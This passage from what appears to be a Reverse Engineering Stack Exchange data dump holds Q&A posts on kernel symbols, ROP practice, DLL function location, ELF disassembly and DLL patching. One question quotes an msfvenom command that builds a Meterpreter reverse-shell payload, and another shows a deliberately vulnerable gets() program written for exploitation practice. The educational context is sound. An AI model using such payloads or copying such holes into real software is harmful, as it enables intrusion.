[eax+8],ecx\n...\n</code></pre>\n\n<hr>\n\n<p><strong>Edit</strong></p>\n\n<blockquote>\n  <p>The part regarding parameters is exactly what I'm looking for</p>\n</blockquote>\n\n<p>I dumped the PDBs and found no parameter info, so I'd guess that Microsoft simply didn't release it.</p>\n\n<p>Here's what I did:</p>\n\n<ol>\n<li><p>Find the file where <code>KeInitializeApc</code> is:</p>\n\n<pre><code>kd&gt; x *!KeInitializeApc\n82abbdf3          nt!KeInitializeApc (&lt;no parameter info&gt;)\nkd&gt; !address 82abbdf3\n...\n...\nModule name:            ntoskrnl.exe\nModule path:            [\\SystemRoot\\system32\\ntkrnlpa.exe]\n</code></pre></li>\n<li><p>Download the symbols for <code>ntoskrnl</code>:</p>\n\n<pre><code>cmd&gt; symchk /v C:\\windows\\system32\\ntoskrnl.exe\n...\n...\nPdbFilename         C:\\Windows\\SYMBOLS\\ntkrnlmp.pdb\\9E22A5947A15489895CE716436B45BE02\\ntkrnlmp.pdb\n...\n</code></pre></li>\n</ol>\n\n<p>(you can find <code>symchk.exe</code> in the same folder as <code>windbg.exe</code>)</p>\n\n<ol start=\"3\">\n<li><p>Use Microsoft's <a href=\"https://github.com/Microsoft/microsoft-pdb/blob/master/cvdump/cvdump.exe\" rel=\"nofollow\"><code>cvdump</code> tool</a> to dump the PDB into a text file:</p>\n\n<pre><code>cmd&gt; cvdump C:\\Windows\\SYMBOLS\\ntkrnlmp.pdb\\9E22A5947A15489895CE716436B45BE02\\ntkrnlmp.pdb &gt; out\n</code></pre></li>\n<li><p>Open the file and search for <code>KeInitializeAPC</code>. One hit:</p>\n\n<pre><code>S_PUB32: [0001:00071654], Flags: 00000002, KeInitializeApc\n</code></pre></li>\n<li><p>Search for <code>KeInitializeApc</code> again (no results), or its ID (I guess?), <code>[0001:00071654]</code> -> <code>71654</code>. One result:</p>\n\n<pre><code>  *** SECTION CONTRIBUTIONS\n\n  Imod  Address        Size      Characteristics\n  01B9  0001:00071654  00000098  60303020\n</code></pre></li>\n<li><p>Dump PDB types with <code>cvdump -t</code></p></li>\n<li><p>No type info available for <code>01B9</code></p></li>\n</ol>\n\n<p>Additionally, I downloaded <a href=\"https://developer.microsoft.com/en-us/windows/hardware/download-symbols\" rel=\"nofollow\">checked symbols</a> (they supposedly have more information in them) and repeated the process for those, but couldn't find anything either.</p>\n\n<hr>\n\n<blockquote>\n  <p>And after pressing \"g\" nothing happens,for a while, to the point that I decide to break again. Is it supposed to take long ? </p>\n</blockquote>\n\n<p>When you press <kbd>g</kbd>, you're basically telling the debugger to run the OS. Whenever it is running, the debugger can't do anything but wait until it breaks. Since the OS is running normally, it will not stop until you manually break. Therefore, you have to break before inputting any command.</p>\n\n<hr>\n\n<blockquote>\n  <p>kd > dt PKKERNEL_ROUTINE</p>\n</blockquote>\n\n<p>Apparently, there aren't any <code>Ke*</code> symbols:</p>\n\n<pre><code>kd&gt; dt nt*!Ke*                             # nothing here\nkd&gt; dt nt!LIST_ENTRY*                     # Symbols are working properly,\n          ntkrpamp!LIST_ENTRY64           # because this works\n          ntkrpamp!LIST_ENTRY32\nkd&gt; dt nt!LIST_ENTRY64                    # dt works properly. Therefore,\n   +0x000 Flink            : Uint8B       # Ke* doesn't have any symbols\n   +0x008 Blink            : Uint8B\n</code></pre>\n\n<p>You'll have to reverse the code yourself and name the params, or find them somewhere in the internet, because apparently they aren't in the PDBs.</p>\n"
    },
    {
        "Id": "13811",
        "CreationDate": "2016-10-25T08:12:23.857",
        "Body": "<p>I was doing some tests to train myself to ROP when <code>ASLR</code> is <code>ON</code> and <code>NX</code> is enabled.</p>\n\n<p>I created this small program for testing purpose</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\nint main(int argc, char ** argv) {\n    char buff[128];\n\n    gets(buff);\n\n    char *password = \"I am h4cknd0\";\n\n    if (strcmp(buff, password)) {\n        printf(\"You password is incorrect\\n\");\n    } else {\n        printf(\"Access GRANTED !\\n\");\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p>And I compiled it on a 64bits Ubuntu with this command</p>\n\n<pre><code>gcc -o rop rop.c -m32 -fno-stack-protector  -Wl,-z,relro,-z,now,-z,noexecstack -static\n</code></pre>\n\n<p>When I open the beast in <code>gdb</code> and disassemble the main function, I get the following</p>\n\n<pre><code>0x0804887c &lt;+0&gt;:       lea    ecx,[esp+0x4]\n0x08048880 &lt;+4&gt;:       and    esp,0xfffffff0\n0x08048883 &lt;+7&gt;:       push   DWORD PTR [ecx-0x4]\n0x08048886 &lt;+10&gt;:      push   ebp\n0x08048887 &lt;+11&gt;:      mov    ebp,esp\n0x08048889 &lt;+13&gt;:      push   ecx\n0x0804888a &lt;+14&gt;:      sub    esp,0x94\n0x08048890 &lt;+20&gt;:      sub    esp,0xc\n0x08048893 &lt;+23&gt;:      lea    eax,[ebp-0x8c]\n0x08048899 &lt;+29&gt;:      push   eax\n0x0804889a &lt;+30&gt;:      call   0x804f100 &lt;gets&gt;\n0x0804889f &lt;+35&gt;:      add    esp,0x10\n0x080488a2 &lt;+38&gt;:      mov    DWORD PTR [ebp-0xc],0x80bb388\n0x080488a9 &lt;+45&gt;:      sub    esp,0x8\n0x080488ac &lt;+48&gt;:      push   DWORD PTR [ebp-0xc]\n0x080488af &lt;+51&gt;:      lea    eax,[ebp-0x8c]\n0x080488b5 &lt;+57&gt;:      push   eax\n0x080488b6 &lt;+58&gt;:      call   0x8048280\n0x080488bb &lt;+63&gt;:      add    esp,0x10\n0x080488be &lt;+66&gt;:      test   eax,eax\n0x080488c0 &lt;+68&gt;:      je     0x80488d4 &lt;main+88&gt;\n0x080488c2 &lt;+70&gt;:      sub    esp,0xc\n0x080488c5 &lt;+73&gt;:      push   0x80bb395\n0x080488ca &lt;+78&gt;:      call   0x804f280 &lt;puts&gt;\n0x080488cf &lt;+83&gt;:      add    esp,0x10\n0x080488d2 &lt;+86&gt;:      jmp    0x80488e4 &lt;main+104&gt;\n0x080488d4 &lt;+88&gt;:      sub    esp,0xc\n0x080488d7 &lt;+91&gt;:      push   0x80bb3af\n0x080488dc &lt;+96&gt;:      call   0x804f280 &lt;puts&gt;\n0x080488e1 &lt;+101&gt;:     add    esp,0x10\n0x080488e4 &lt;+104&gt;:     mov    eax,0x0\n0x080488e9 &lt;+109&gt;:     mov    ecx,DWORD PTR [ebp-0x4]\n0x080488ec &lt;+112&gt;:     leave  \n0x080488ed &lt;+113&gt;:     lea    esp,[ecx-0x4]\n0x080488f0 &lt;+116&gt;:     ret\n</code></pre>\n\n<p>It's the first time I have these function prologue and epilogue</p>\n\n<p><strong>Prologue</strong></p>\n\n<pre><code>0x0804887c &lt;+0&gt;:       lea    ecx,[esp+0x4]\n0x08048880 &lt;+4&gt;:       and    esp,0xfffffff0\n0x08048883 &lt;+7&gt;:       push   DWORD PTR [ecx-0x4]\n</code></pre>\n\n<p><strong>Epilogue</strong></p>\n\n<pre><code>0x080488e9 &lt;+109&gt;:     mov    ecx,DWORD PTR [ebp-0x4]\n0x080488ec &lt;+112&gt;:     leave  \n0x080488ed &lt;+113&gt;:     lea    esp,[ecx-0x4]\n0x080488f0 &lt;+116&gt;:     ret\n</code></pre>\n\n<p>Because of these, I need to know <code>ESP</code> value when the <code>main</code> function is called when exploiting the vulnerable binary with ROP, but since <code>ASLR</code> is enabled, it's not possible.</p>\n\n<p><strong>PS</strong> : I assure you this is a program I wrote myself for training purpose, it's not part of any challenge or CTF.</p>\n\n<p>Thanks for your time and knowledge :)</p>\n",
        "Title": "What is this protection that seems to prevent ROP when ASLR in ON?",
        "Tags": "|disassembly|rop|",
        "Answer": "<p>While not a part of the official 386 SysV ABI, there is a de-facto requirement that the stack pointer is aligned to 16 bytes at all times when calling system functions (enforced by the de-facto standard compiler (GCC) since several years ago:<a href=\"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=38496\" rel=\"nofollow\">1</a>,<a href=\"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=27537\" rel=\"nofollow\">2</a>). That's why the prolog of the <code>main</code> function contains the <code>and esp,0xfffffff0</code> instruction. Only the <code>main()</code> function needs to do that, other functions usually don't perform stack realignment since they assume they're already called with 16-byte alignment (unless you use <code>-mrealignstack</code>).</p>\n\n<p>So instead of using another compiler you could try putting the vulnerable code in a separate function, not <code>main</code> directly.</p>\n"
    },
    {
        "Id": "13816",
        "CreationDate": "2016-10-25T18:19:30.970",
        "Body": "<p>I wish to use the codecs that come with realplayer but without needing realplayer. The codecs I want to use are all in <code>.so</code> format, but I don't know how to separate the codecs from the rest of realplayer and use the <code>.so</code> files directly.</p>\n\n<p>Is there a way to do this so that I can just plug the codecs into a new mediaplayer, without having to decompile and recompile the binaries?</p>\n",
        "Title": "how Can I use a linux so file from a program other than the program it was developed for?",
        "Tags": "|binary-analysis|elf|binary|shared-object|got|",
        "Answer": "<p>an <code>so</code> file is self contained, to use it, you simply need to load it and use functions it implements. However, in order to use those functions a header file describing the functions and their input parameters is required. </p>\n\n<p>Getting the available functions from within an <code>so</code> file is easy, you just need to parse the <a href=\"http://bottomupcs.sourceforge.net/csbu/x3824.htm\" rel=\"nofollow\">GOT</a>. Understanding the input (and output) parameters is a bit more difficult, you'll need to disassemble the functions you're interested in and understand the parameters from the code.</p>\n\n<p>That is of course, if you don't have access to that library's SDK, which usually contain header files for all shared objects.</p>\n"
    },
    {
        "Id": "13826",
        "CreationDate": "2016-10-27T19:19:54.070",
        "Body": "<p>I need to locate the address of a function in a DLL at runtime which isn't exported. The DLL in question is vbe7.dll related to Visual Basic (and macros). The function is <code>___vbaInStr</code>, can be found in IDA if symbols are downloaded from Microsoft.</p>\n\n<p>Locating it in IDA to get an offset is no biggie but I want to use it in Python and be able to locate it even if it's running on other machines. The reason being that I'm using winappdbg and need to place a breakpoint on the particular function to access the arguments pushed to the stack.</p>\n\n<p>My theories so far have been:</p>\n\n<ol>\n<li>Find exported functions used close to a call to the targeted function and calculate the offset. Haven't tried it though.</li>\n<li>Find a instruction pattern around the call to the targeted function. This failed depending on the DLL version and compiler used.</li>\n<li>Look at the targeted function to locate the starting address, this failed for the same reason as above.</li>\n</ol>\n\n<p>So getting the address of an exported function is easy but getting the address of a non-exported function? Target is <code>.text:102242E3</code>.</p>\n\n<pre><code>.text:10224212 ; int __stdcall sub_10224212(int, LCID Locale, VARIANTARG *, VARIANTARG *pvarSrc, int)\n.text:10224212 sub_10224212    proc near               ; CODE XREF: sub_1000B164+859p\n.text:10224212                                         ; rtcInStrChar+52p\n.text:10224212\n.text:10224212 arg_0           = dword ptr  8\n.text:10224212 Locale          = dword ptr  0Ch\n.text:10224212 arg_8           = dword ptr  10h\n.text:10224212 pvarSrc         = dword ptr  14h\n.text:10224212 arg_10          = dword ptr  18h\n.text:10224212\n.text:10224212                 mov     edi, edi\n.text:10224214                 push    ebp\n.text:10224215                 mov     ebp, esp\n.text:10224217                 push    ebx\n.text:10224218                 push    edi\n.text:10224219                 mov     edi, [ebp+pvarSrc]\n.text:1022421C                 push    edi\n.text:1022421D                 call    rtcIsNull\n.text:10224222                 test    ax, ax\n.text:10224225                 jnz     loc_10224330\n.text:1022422B                 mov     ebx, [ebp+arg_8]\n.text:1022422E                 push    ebx\n.text:1022422F                 call    rtcIsNull\n.text:10224234                 test    ax, ax\n.text:10224237                 jnz     loc_10224330\n.text:1022423D                 push    esi\n.text:1022423E                 push    8\n.text:10224240                 pop     esi\n.text:10224241                 cmp     [edi], si\n.text:10224244                 jnz     short loc_1022424B\n.text:10224246                 mov     edi, [edi+8]\n.text:10224249                 jmp     short loc_10224261\n.text:1022424B ; ---------------------------------------------------------------------------\n.text:1022424B\n.text:1022424B loc_1022424B:                           ; CODE XREF: sub_10224212+32j\n.text:1022424B                 push    edi             ; pvarSrc\n.text:1022424C                 call    sub_1006D9C8\n.text:10224251                 mov     edi, eax\n.text:10224253                 mov     eax, esi\n.text:10224255                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056\n.text:1022425B                 mov     dword ptr pvarg.anonymous_0+8, edi ; jumptable 1000BE78 cases 56231,63056\n.text:10224261\n.text:10224261 loc_10224261:                           ; CODE XREF: sub_10224212+37j\n.text:10224261                 movzx   eax, word ptr [ebx]\n.text:10224264                 cmp     ax, si\n.text:10224267                 jnz     short loc_1022426E\n.text:10224269                 mov     eax, [ebx+8]\n.text:1022426C                 jmp     short loc_102242DB\n.text:1022426E ; ---------------------------------------------------------------------------\n.text:1022426E\n.text:1022426E loc_1022426E:                           ; CODE XREF: sub_10224212+55j\n.text:1022426E                 cmp     word ptr pvarg.anonymous_0, si ; jumptable 1000BE78 cases 56231,63056\n.text:10224275                 jnz     short loc_102242C7\n.text:10224277                 cmp     ax, 9\n.text:1022427B                 jnz     short loc_102242C7\n.text:1022427D                 xor     eax, eax\n.text:1022427F                 mov     esi, offset pvarSrc\n.text:10224284                 push    esi\n.text:10224285                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056\n.text:1022428B                 push    dword ptr [ebx+8]\n.text:1022428E                 call    sub_1022103A\n.text:10224293                 mov     ebx, eax\n.text:10224295                 test    ebx, ebx\n.text:10224297                 jz      short loc_102242A6\n.text:10224299                 push    edi             ; bstrString\n.text:1022429A                 call    ds:__imp_SysFreeString ; jumptable 1000BE78 cases 171,16878,16935,30141,31177,32098,43703,61383,65216\n.text:102242A0                 push    ebx\n.text:102242A1                 call    sub_1005DCF1\n.text:102242A6\n.text:102242A6 loc_102242A6:                           ; CODE XREF: sub_10224212+85j\n.text:102242A6                 push    8\n.text:102242A8                 pop     eax\n.text:102242A9                 push    eax             ; vt\n.text:102242AA                 push    esi             ; pvarSrc\n.text:102242AB                 push    esi             ; pvargDest\n.text:102242AC                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056\n.text:102242B2                 mov     dword ptr pvarg.anonymous_0+8, edi ; jumptable 1000BE78 cases 56231,63056\n.text:102242B8                 call    sub_10082A4C\n.text:102242BD                 mov     eax, dword ptr pvarSrc.anonymous_0+8\n.text:102242C2                 push    8\n.text:102242C4                 pop     esi\n.text:102242C5                 jmp     short loc_102242DB\n.text:102242C7 ; ---------------------------------------------------------------------------\n.text:102242C7\n.text:102242C7 loc_102242C7:                           ; CODE XREF: sub_10224212+63j\n.text:102242C7                                         ; sub_10224212+69j\n.text:102242C7                 push    ebx             ; pvarSrc\n.text:102242C8                 call    sub_1006D9C8\n.text:102242CD                 mov     ecx, esi\n.text:102242CF                 mov     word ptr pvarSrc.anonymous_0, cx\n.text:102242D6                 mov     dword ptr pvarSrc.anonymous_0+8, eax\n.text:102242DB\n.text:102242DB loc_102242DB:                           ; CODE XREF: sub_10224212+5Aj\n.text:102242DB                                         ; sub_10224212+B3j\n.text:102242DB                 push    [ebp+arg_10]    ; int\n.text:102242DE                 push    edi             ; LPCWSTR\n.text:102242DF                 push    eax             ; lpSrcStr\n.text:102242E0                 push    [ebp+Locale]    ; Locale\n.text:102242E3                 call    sub_10083C60 \n.text:102242E8                 mov     edi, eax\n.text:102242EA                 cmp     word ptr pvarg.anonymous_0, si ; jumptable 1000BE78 cases 56231,63056\n.text:102242F1                 jnz     short loc_10224307\n.text:102242F3                 push    dword ptr pvarg.anonymous_0+8 ; bstrString\n</code></pre>\n",
        "Title": "Locate address of function in DLL",
        "Tags": "|dll|python|breakpoint|address|",
        "Answer": "<p>I mangaged to solve it using pefile and capstone. Finding a exported function that leads to my target (as suggested above) and then using capstone to disassemble the function and find my way to the target.</p>\n\n<p>In a nutshell what I did (can of course be beautified etc.):</p>\n\n<pre><code>import sys\nimport pefile\nfrom capstone import Cs, CS_ARCH_X86, CS_MODE_32\n\ndll = pefile.PE(sys.argv[1])\n#dll = pefile.PE('C:\\Program Files\\Common Files\\microsoft shared\\VBA\\VBA7\\VBE7.DLL')\n\n\nfor export in dll.DIRECTORY_ENTRY_EXPORT.symbols:\n    if export.name == 'rtcInStrChar':\n        exp_addr = export.address\n        break\n\nfor imp in dll.DIRECTORY_ENTRY_IMPORT:\n    for entry in imp.imports:\n        if entry.name == 'SysFreeString':\n            imp_addr = entry.address\n            break\n            #print('0x%x - %s' % (entry.address, entry.name))\n\nmemory = dll.get_memory_mapped_image()\n\ndsm = Cs(CS_ARCH_X86, CS_MODE_32)\n\nfor op in dsm.disasm(memory[exp_addr:exp_addr + 0xA0], (exp_addr + dll.OPTIONAL_HEADER.ImageBase)):\n    if op.mnemonic == 'call':\n        last_call = op.op_str[2:]\n    if op.mnemonic == 'ret':\n        break\n    #print(\"0x%x:\\t%s\\t%s\" %(op.address, op.mnemonic, op.op_str))\n\nnext_func = int(last_call, 16) - dll.OPTIONAL_HEADER.ImageBase\n\ncalls = 0\ncall_free = 0\nfor op in dsm.disasm(memory[next_func:next_func + 0x100], (next_func + dll.OPTIONAL_HEADER.ImageBase)):\n    print(\"0x%x:\\t%s\\t%s\" %(op.address, op.mnemonic, op.op_str))\n    if op.mnemonic == 'call' and '0x%x' % imp_addr in op.op_str:\n        call_free += 1\n    if call_free == 2:\n        print('GOT IT: 0x%x' % last_call)\n        break\n    if op.mnemonic == 'call':\n        last_call = op.address\n</code></pre>\n"
    },
    {
        "Id": "13829",
        "CreationDate": "2016-10-28T16:37:17.910",
        "Body": "<p>I have been intrigued by reverse engineering recently and just finished Paul Carter's <em>PC Assembly Language</em> book (<a href=\"http://pacman128.github.io/static/pcasm-book.pdf\" rel=\"nofollow\">http://pacman128.github.io/static/pcasm-book.pdf</a>) which was a great primer for x86. My first question is: What is a good intermediate level book to get a better grasp of x86 assembly? Secondly: Should I get a better grasp of the C programming language before I dive deeper into x86? At the moment I only have basic knowledge of C as well.</p>\n\n<p>Sorry if this is an opinion type question but I highly respect the input of people on this forum regarding this topic.</p>\n",
        "Title": "Good foundation for reverse engineering malware",
        "Tags": "|disassembly|assembly|x86|malware|c|",
        "Answer": "<p>Knowing how things in C work under the hood will help you if you're familiar with C and use it as your primary programming language, otherwise it's perfectly fine to have x86 asm as your first programing language.</p>\n\n<p>If you want a better understanding of the relationship between C and x86 assembly, I recommend reading the 7th chapter of <a href=\"http://rads.stackoverflow.com/amzn/click/1931769222\" rel=\"nofollow noreferrer\">Hacker disassembling uncovered</a> (there's a free chm version online).</p>\n\n<p>As a reverse engineer you'll need to understand and be fluent with machine code. Knowing C might help because it's relatively low level and forces you to understand machine level concepts such as the stack, pointers, etc. Good grasp of assembly is far more important.</p>\n\n<p>The best way is probably to go to <a href=\"http://crackmes.de/\" rel=\"nofollow noreferrer\">crackmes.de</a> and other similar sites and starting solving challenges. some challenges there are very novice and some are extremely difficult to solve. Focus on the type of RE that interests you (malware, keygen/cracking, crypto, trainers/mods, complex programs) and once you gained enough experience get something real to work on, even just to take it up as a challenge.</p>\n\n<p><strong>EDIT</strong>: <a href=\"http://crackmes.de/\" rel=\"nofollow noreferrer\">crackmes.de</a> was taken down some time ago, another decent resource is <a href=\"https://tuts4you.com/download.php\" rel=\"nofollow noreferrer\">tuts4you.com's download section</a>.</p>\n"
    },
    {
        "Id": "13831",
        "CreationDate": "2016-10-28T19:18:19.967",
        "Body": "<p>i create <code>elf</code> with this command: (<a href=\"http://bayanbox.ir/download/6181241207329062747/rt\" rel=\"nofollow\">Dowanlod file</a> - is elf32)</p>\n\n<pre><code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5150 -f elf  -o ./rt\n</code></pre>\n\n<p>and it works nicely, and i want disassemble it but not work:</p>\n\n<pre><code>$ file ./rt\n./rt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size\n\n$ objdump -D ./rt\n\n./rt:     file format elf32-i386\n\n$ objdump -d ./rt\n\n./rt:     file format elf32-i386\n\n$ readelf -a ./rt\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x8048054\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          0 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         1\n  Size of section headers:           0 (bytes)\n  Number of section headers:         0\n  Section header string table index: 0\n\nThere are no sections in this file.\n\nThere are no sections to group in this file.\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  LOAD           0x000000 0x08048000 0x08048000 0x0009b 0x000e2 RWE 0x1000\n\nThere is no dynamic section in this file.\n\nThere are no relocations in this file.\n\nThere are no unwind sections in this file.\n\nNo version information found in this file.\n</code></pre>\n\n<p>how to disassemble it?</p>\n",
        "Title": "disassemble elf file created by msfvenom",
        "Tags": "|disassembly|objdump|",
        "Answer": "<p>Use a disassembler which supports ELF files with no sections (<code>objdump</code> is based on BFD library which cannot handle sectionless ELFs). </p>\n\n<p>Alternatively, disassemble it as plain binary, not ELF (<code>objdump -b binary -m i386 -D file.elf</code>) though in that case you'll have to distinguish code from data on your own.</p>\n"
    },
    {
        "Id": "13834",
        "CreationDate": "2016-10-29T14:38:57.380",
        "Body": "<p><em>Disclaimer: I am relatively new to this whole RE thing. So I successfully crammed some instructions into the end of an existing DLL and redirected a call.</em></p>\n\n<p>Now I actually want to do things with a function argument before calling the original code and try to <code>OutputDebugStringA</code> it.</p>\n\n<p><code>OutputDebugStringA</code> is statically imported by my Dll, so I try to do the following:</p>\n\n<pre><code>call dword ptr ds:[&lt;&amp;OutputDebugStringA&gt;]\n</code></pre>\n\n<p>This is an instruction I copy from a usage in the DLL itself.</p>\n\n<p>So this works and is successfully called. But, when I patch the Dll with this instruction, on the next run the address is invalid which leads to an Access Violation and crash. (See red line in picture)</p>\n\n<p><a href=\"https://i.stack.imgur.com/d97fB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/d97fB.png\" alt=\"enter image description here\"></a></p>\n\n<p>Why is that so? Shouldn't the IAT entry of the function be always at the same place, relative to where the Dll was loaded? </p>\n\n<p>And how do I fix it? </p>\n\n<p>Do I need complicated hacks to find the base address of my module?</p>\n\n<p>Or is there some sort of relative far call instruction I am stupidly not aware of?</p>\n\n<p>Thank you for your help.</p>\n\n<hr>\n\n<p>I think I got it now.\nSo I can't be sure that the IAT is always at the same address, not even relative to the ds segment (which makes it kinda useless in my opinion).</p>\n\n<p>I can however be sure that the IAT address is always a fixed relative amount away from the code I want to run.</p>\n\n<p>So I googled PIC techniques under x86 and ended up with this code that seems to work fine so far.</p>\n\n<pre><code>push ebp\nmov ebp,esp\npush eax\npush ecx\npush edx\npush dword ptr ss:[ebp+C]\ncall &lt;rcp-be-name.tmplbl&gt;\npop ebx   ;@tmplbl\nlea eax,dword ptr ds:[ebx+80F] ;the relative offset\ncall dword ptr ds:[eax-5] ;dunno why 5\npop edx\npop ecx\npop eax\npush dword ptr ss:[ebp+C] ;the original arguments\npush dword ptr ss:[ebp+8] ;  ...\ncall rcp-be-name.644A97D0 ;the original function\nadd esp,8\npop ebp\nret\n</code></pre>\n\n<p>Thanks a lot!</p>\n",
        "Title": "How do I call a statically imported function from a Dll? call dword ptr ds <> not working",
        "Tags": "|dll|pe|function-hooking|iat|call|",
        "Answer": "<p>It appears you've already guessed what the actual issue is - your call instruction is using direct addressing and not relative addressing. This means that when a DLL changes it's location between executions you're still trying to execute the same absolute value, resulting in different types of errors depending on the content of the actual content in that address.</p>\n\n<p>Specifically to your question - <code>0xFF 15</code> is an absolute, near, 4 byte immediate call. <code>0xFF</code> is used for absolute calls, while <code>0x8E</code> is used for relative calls (as you can see in your image, at the yellow highlighted line).</p>\n\n<p>Replacing the single byte <code>0xFF</code> will turn the instruction to a relative instruction, meaning the call will be to <code>$+5e01d0e4</code> instead of to <code>0x5e01d0e4</code>. The dollar sign (<code>$</code>) is a conventional representation of \"the address of the next instruction\".</p>\n\n<p>Because how the x86 CPU (and many other CPUs) works, it is easier to first advance to the next instruction, and only then carry out any <code>EIP</code> modifying operations, thus having relative operations modify the <code>EIP</code> values of the <em>following</em> instruction.</p>\n\n<p>Replacing the four last bytes with any signed integer will make the call instruction add that number (thus negative numbers are used to call a smaller address value) to the address of the next instruction. For example, the byte code <code>FF 15 EA FF FF FF</code> will be translated to a six byte long instruction <code>call $-6</code>, creating a <code>call</code> that calls itself, eventually faulting on a stack overflow.</p>\n\n<p>A method simpler than manually editing instruction byte code could be using olly's assemble command with a <code>$</code> sign to indicate a relative instruction.</p>\n"
    },
    {
        "Id": "13836",
        "CreationDate": "2016-10-29T20:54:08.127",
        "Body": "<p>I've always been more knowledgeable about binary reversing -- x86/x64 type stuff -- so lately I decided I wanted to try reversing some flash.  </p>\n\n<p>Used SoThink to get the .AS from a SWF, but the SWF is pulling data from a server. It's then de-obfuscating that data and .loadBytes'ing it.  </p>\n\n<p>I've made a file of the de-obfuscated data (via FileReference.save()), but it isn't a valid, stand-alone flash file.  </p>\n\n<p>How do I go about decompiling this dynamically-loaded flash byte array, or at least transforming it into something I can work with?</p>\n\n<p>EDIT for clarity:  </p>\n\n<pre>\nvar foo = new Loader(); // Is later addChild'ed  \nvar bar:LoaderContext = new LoaderContext(false, ApplicationDomain.currentDomain);\n\nfoo.contentLoaderInfo.parameters.parent = this;\nfoo.contentLoaderInfo.addEventListener(Event.COMPLETE, fooFunc);\nfoo.contentLoaderInfo.addEventListener(\"securityError\", this.onSecurityError);\nfoo.loadBytes(someByteArray, bar); // 'someByteArray' is the deobfuscated stuff from server\n</pre>\n\n<p>In the above situation, the 'fooFunc' is never called, but based on the comments/feedback provided, it appears as though the file has already been fully loaded once 'fooFunc' happens.  </p>\n\n<p>This leads me to believe that 'someByteArray' is binary data that is loaded dynamically into the swf, but the 'someByteArray' data is not valid SWF, if that makes sense.</p>\n",
        "Title": "Reversing Flash Files that use .loadBytes()",
        "Tags": "|actionscript|flash|",
        "Answer": "<p>Turns out this was a problem on my end.  </p>\n\n<p>For those curious: it turns out that the file I wanted to load <strong>was</strong> a pure .SWF file. I don't have enough experience with Flash to have immediately known a Loader().loadBytes() with a data type of \"data.BINARY\" was necessarily going to be a Flash file (as opposed to some form of assembly).  </p>\n\n<p>The file was obfuscated with an encryption scheme. The key was hardcoded. <strong>Turns out I typoed the key when I went to de-obfuscate the file.</strong> 9 hours of racking my brain later, I start over from scratch, mark the correct key, and voila: <strong>my de-obfuscated file was a standard .SWF.</strong> I decompiled it normally.  </p>\n\n<p>Thanks for those who tried to help. Unfortunate that it turned out to be a false lead.</p>\n"
    },
    {
        "Id": "13844",
        "CreationDate": "2016-10-31T23:22:55.003",
        "Body": "<p>Follower this <a href=\"https://reverseengineering.stackexchange.com/questions/13831/disassemble-elf-file-created-by-msfvenom/13833\">question</a> (thanks \"Igor Skochinsky\")</p>\n\n<p>when use\n<code>objdump -b binary ...</code> we can't see correct disassemble in section-less <code>elf</code> file</p>\n\n<p>Because <code>objdump</code> disassemble Header and code and we see false disassemble code.</p>\n\n<p>What better way to do it right there?</p>\n",
        "Title": "disassemble elf sectionless files",
        "Tags": "|disassembly|",
        "Answer": "<p>I write mini <code>ruby</code> script for dump DATA from <code>EP</code> to <code>end</code> of file and save it to another file</p>\n\n<p>then we can disassemble it with <code>objdump -b binary ..</code> very nice</p>\n\n<pre><code>$ \n$ objdump -b binary -m i386 -D RAW\n</code></pre>\n\n<p>this script read ELF file and find <code>endian</code> mode (<code>little</code> or <code>Big</code>) then find <code>EP</code> and dump it</p>\n\n<p>in this picture we can see difference between this command's</p>\n\n<p><a href=\"https://i.stack.imgur.com/iUABo.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iUABo.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>we can set and change <code>EP</code> from <code>-E</code> , and <code>length</code> data of dump from <code>-l \"end-1\"</code> or set start of dump without calculate <code>EP</code> with <code>-s</code> command</p>\n\n<p>[downlaod and fork me][2]</p>\n"
    },
    {
        "Id": "13847",
        "CreationDate": "2016-11-01T08:07:39.993",
        "Body": "<p>I'm reverse-engineering a string translation file format for a particular game. It's ultimately just an ID-to-string map, where the IDs are four-byte integers. There are 1935 IDs in total; you can see them all <a href=\"http://pastebin.com/raw/0aCHUxGP\" rel=\"nofollow\">here</a>.</p>\n\n<p>The first thing that I notice is that <a href=\"http://pastebin.com/raw/Bj2EegbJ\" rel=\"nofollow\">when written in base 16</a>, 115 of them have the first digit set to 0, roughly what you'd expect from a list of 1935 random numbers. But unlike 1935 random numbers, 19 IDs have the entire upper byte as 0, 8 have the upper three digits as 0, 6 have the upper four digits as 0, 5 have the upper five digits as 0, and one is less than 256!</p>\n\n<p>Furthermore, the strings with the dozen or so smallest IDs are mostly very short strings (although not all short strings have small IDs).</p>\n\n<p>This leads me to conclude that these numerical IDs were produced by some very weak &amp; simple hash function operating on strings (like \"text1\" or something), where the IDs for short strings were often just the string itself.</p>\n\n<p>Additionally, strings that occur in sequence in the game (consecutive lines of dialogue) very often have consecutive IDs in ascending order (but not always). This makes sense if the IDs are hashes of string keys; the original strings for a given situation would presumably have looked something like \"situation_text_1\", \"situation_text_2\", and so on. A weak hash algorithm could easily have this effect.</p>\n\n<p>This is where I'm stuck. From what I can tell, the other files in the game refer to these strings by numerical ID, not by string IDs. I'm unsure if original string keys or the hash function itself exist anywhere in the game. As such, I don't have any way to test controlled input values -- I just have to go on those 1935 examples (plus a few more that can be found in a leftover debug file).</p>\n\n<p>Here are the corresponding strings for the smallest IDs. 